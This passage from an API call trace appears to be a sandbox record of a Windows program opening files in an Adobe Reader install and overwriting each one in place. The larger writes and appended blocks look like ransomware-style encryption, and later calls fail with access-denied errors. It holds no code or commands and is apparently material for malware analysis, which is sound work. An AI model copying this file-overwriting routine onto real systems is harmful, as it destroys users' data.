CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviewers.gif", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviewers.gif", lpUsedDefaultChar=0x0) returned 13 [0041.599] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x354f2bc*=0x5ac, lpOverlapped=0x0) returned 1 [0041.601] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.601] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xb34, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f2d0*=0xb34, lpOverlapped=0x0) returned 1 [0041.601] CloseHandle (hObject=0x1a0) returned 1 [0041.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0041.601] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.601] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4e7 [0041.601] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.602] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.602] ReleaseMutex (hMutex=0x128) returned 1 [0041.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_lg.gif", lpUsedDefaultChar=0x0) returned 13 [0041.602] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e179f8, nNumberOfBytesToRead=0x4e7, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e179f8*, lpNumberOfBytesRead=0x354f2bc*=0x4e7, lpOverlapped=0x0) returned 1 [0041.603] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.603] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xa6f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f2d0*=0xa6f, lpOverlapped=0x0) returned 1 [0041.603] CloseHandle (hObject=0x1a0) returned 1 [0041.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.604] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.604] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3ea [0041.604] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.604] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.604] ReleaseMutex (hMutex=0x128) returned 1 [0041.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0041.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 28 [0041.604] ReadFile (in: hFile=0x168, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x3ea, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x354f2bc*=0x3ea, lpOverlapped=0x0) returned 1 [0041.606] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0041.606] WriteFile (in: hFile=0x168, lpBuffer=0x1da48f8*, nNumberOfBytesToWrite=0x972, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da48f8*, lpNumberOfBytesWritten=0x354f2d0*=0x972, lpOverlapped=0x0) returned 1 [0041.606] CloseHandle (hObject=0x168) returned 1 [0041.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.607] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.607] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4090 [0041.607] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.607] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.607] ReleaseMutex (hMutex=0x128) returned 1 [0041.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeK.htm", lpUsedDefaultChar=0x0) returned 11 [0041.607] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.608] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3090 [0041.608] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.609] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3090 [0041.609] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.610] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0041.610] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.610] CloseHandle (hObject=0x168) returned 1 [0041.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.610] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.610] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3e93f4 [0041.610] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0041.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.611] ReleaseMutex (hMutex=0x128) returned 1 [0041.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0041.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x1e7fb1c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMyungjoStd-Medium.otf", lpUsedDefaultChar=0x0) returned 26 [0041.611] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.612] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.623] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.629] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3e73f4 [0041.630] ReadFile (in: hFile=0x168, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.632] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3e73f4 [0041.632] WriteFile (in: hFile=0x168, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x354f28c*=0x2588, lpOverlapped=0x0) returned 1 [0041.633] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0041.633] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.633] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.633] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x2000, lpOverlapped=0x0) returned 1 [0041.633] CloseHandle (hObject=0x168) returned 1 [0041.633] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.634] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H", lpFilePart=0x354f690*="90pv-RKSJ-H") returned 0x42 [0041.634] GetLastError () returned 0x5 [0041.634] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.634] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.634] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.634] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.635] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.635] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.635] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h")) returned 0x20 [0041.635] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.635] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5", lpFilePart=0x354f690*="Adobe-CNS1-5") returned 0x43 [0041.635] GetLastError () returned 0x5 [0041.635] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.636] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.636] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.636] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.636] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.636] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.636] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5")) returned 0x20 [0041.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", lpFilePart=0x354f690*="Adobe-GB1-3") returned 0x42 [0041.640] GetLastError () returned 0x5 [0041.640] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.640] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.640] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.641] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.641] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.641] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.641] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3")) returned 0x20 [0041.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.641] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1", lpFilePart=0x354f690*="Adobe-Japan1-1") returned 0x45 [0041.641] GetLastError () returned 0x5 [0041.641] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.641] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.642] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.642] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.642] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.642] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.642] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1")) returned 0x20 [0041.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac", lpFilePart=0x354f690*="Adobe-Japan1-H-Mac") returned 0x49 [0041.645] GetLastError () returned 0x5 [0041.645] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.645] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.645] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.645] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.645] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.645] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.646] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac")) returned 0x20 [0041.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2", lpFilePart=0x354f690*="Adobe-Korea1-UCS2") returned 0x48 [0041.647] GetLastError () returned 0x5 [0041.647] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.647] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.647] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.647] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.647] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.647] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.647] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2")) returned 0x20 [0041.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H", lpFilePart=0x354f690*="ETenms-B5-H") returned 0x42 [0041.651] GetLastError () returned 0x5 [0041.651] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.651] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.651] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.651] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.652] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.652] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.652] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: 